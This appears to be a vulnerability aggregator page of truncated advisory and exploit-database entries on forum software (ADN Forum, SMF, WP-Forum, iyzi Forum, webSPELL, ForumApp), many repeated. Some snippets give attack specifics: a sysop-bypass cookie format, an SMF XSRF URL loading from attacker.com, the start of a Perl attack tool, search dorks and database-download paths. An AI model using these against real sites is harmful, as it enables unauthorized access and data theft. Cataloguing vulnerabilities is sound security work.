CVE-2008-6001

index.php in ADN Forum 1.0b and earlier allows remote attackers to bypass authentication and gain sysop access via a fpusuario cookie composed of an initial sysop: string, an arbitrary password field, and a final :sysop:0 string...

Authentication flaw

index.php in ADN Forum 1.0b and earlier allows remote attackers to bypass authentication and gain sysop access via a fpusuario cookie composed of an initial sysop: string, an arbitrary password field, and a final :sysop:0 string...

CVE-2008-6001

index.php in ADN Forum 1.0b and earlier allows remote attackers to bypass authentication and gain sysop access via a fpusuario cookie composed of an initial sysop: string, an arbitrary password field, and a final :sysop:0 string...

CVE-2008-6001

The CVE-2008-6001 entry applies to ADN Forum before or at version 1.0b. A flaw in index.php lets remote attackers bypass authentication and obtain sysop privileges by manipulating a fpusuario cookie constructed with an initial sysop: string, a user-supplied password field, and a trailing :sysop:0...

CVE-2008-6001: Undefined Security Weakness

index.php in ADN Forum 1.0b and earlier allows remote attackers to bypass authentication and gain sysop access via a fpusuario cookie composed of an initial sysop: string, an arbitrary password field, and a final :sysop:0 string...

Simple Machines Forum 1.1.7 XSRF/XSS

Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...

Unfixed XSS vulnerability at www.buycheap.se

Security researcher Uber0n, has submitted on 18/01/2009 a cross-site-scripting XSS vulnerability affecting www.buycheap.se, which at the time of submission ranked 9115665 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/02/2009. It is current...

Simple Machines Forum < 1.1.8 Password Reset Function Bypass

Binary data 4813.prm...

WP-Forum Plugin for WordPress 'forum_feed.php' 'thread' Parameter SQL Injection

The remote host is running WP-Forum, a third-party discussion forum plugin for WordPress. The version of WP-Forum installed on the remote host fails to sanitize input to the 'thread' parameter of the 'forumfeed.php' script before using it in a database query. Regardless of PHP's 'magicquotesgpc'...

Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability

No description provided by source. ----------------------------------------------------------------------------------------------- Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability ----------------------------------------------------------------------------------------------- Author:...

Simple Machines Forum - Destroyer 0.1

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Std; use LWP::Simple; use HTTP::Request; Author: Xianur0 Uxmal666atgmail.com Cracks links Password Recovery Find Temporary Files executed by mods DB function Flood by Error Log File Path Disclosure List installed Mo...

CVE-2008-5901

CVE-2008-5901 affects iyzi Forum 1.0 beta 3, where sensitive information is stored under the web root with insufficient access control. A direct request to the file db/iyziforum.mdb can allow remote attackers to download the database, exposing passwords. The CVSS data (NVD) characterizes the impa...

CVE-2008-5901

iyzi Forum 1.0 beta 3 stores sensitive information under the web root with insufficient access control, which allows remote attackers to download the database file containing a password via a direct request for db/iyziforum.mdb. NOTE: some of these details are obtained from third party informatio...

WordPress Plugin WP-Forum 1.7.8 - SQL Injection

WordPress Plugin WP-Forum 1.7.8 - SQL Injection ----------------------------------------------------------------------------------------------- Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability ---------------------------------------------------------------------------------------------...

Wordpress WP-Forum 1.7.8 SQL Injection

----------------------------------------------------------------------------------------------- Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability ----------------------------------------------------------------------------------------------- Author: seomafia Dorks: allinurl:pageid...

Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================== Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability ==================================================================...

WordPress Plugin WP-Forum 1.7.8 - SQL Injection

----------------------------------------------------------------------------------------------- Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability ----------------------------------------------------------------------------------------------- Author: seomafia Dorks: allinurl:pageid...

CVE-2008-5901: Undefined Security Weakness

iyzi Forum 1.0 beta 3 stores sensitive information under the web root with insufficient access control, which allows remote attackers to download the database file containing a password via a direct request for db/iyziforum.mdb. NOTE: some of these details are obtained from third party informatio...

webSPELL 4.01.02 Edit Topics Vulnerability

+=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+ | webSPELL = 4.01.02 id Remote Edit Topics Vulnerability | Note | +=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+ | discovered by athos - stakerathotmaildotit | magic quotes 0 | |...

ForumApp 3.3 Database Disclosure

Title: ForumApp V3.3 Remote Database Disclosure Vulnerability Credit: Cyber.Zer0 E-mail: Cyber.Zer04tHotmaildotcom Download: http://www.aspapp.com/free-asp-forum HomePage: http://www.aspapp.com/ Remote: Yes Dork: "Powered by ForumApp" --=Database Disclosure=-- http://target.com/data/8690.mdb...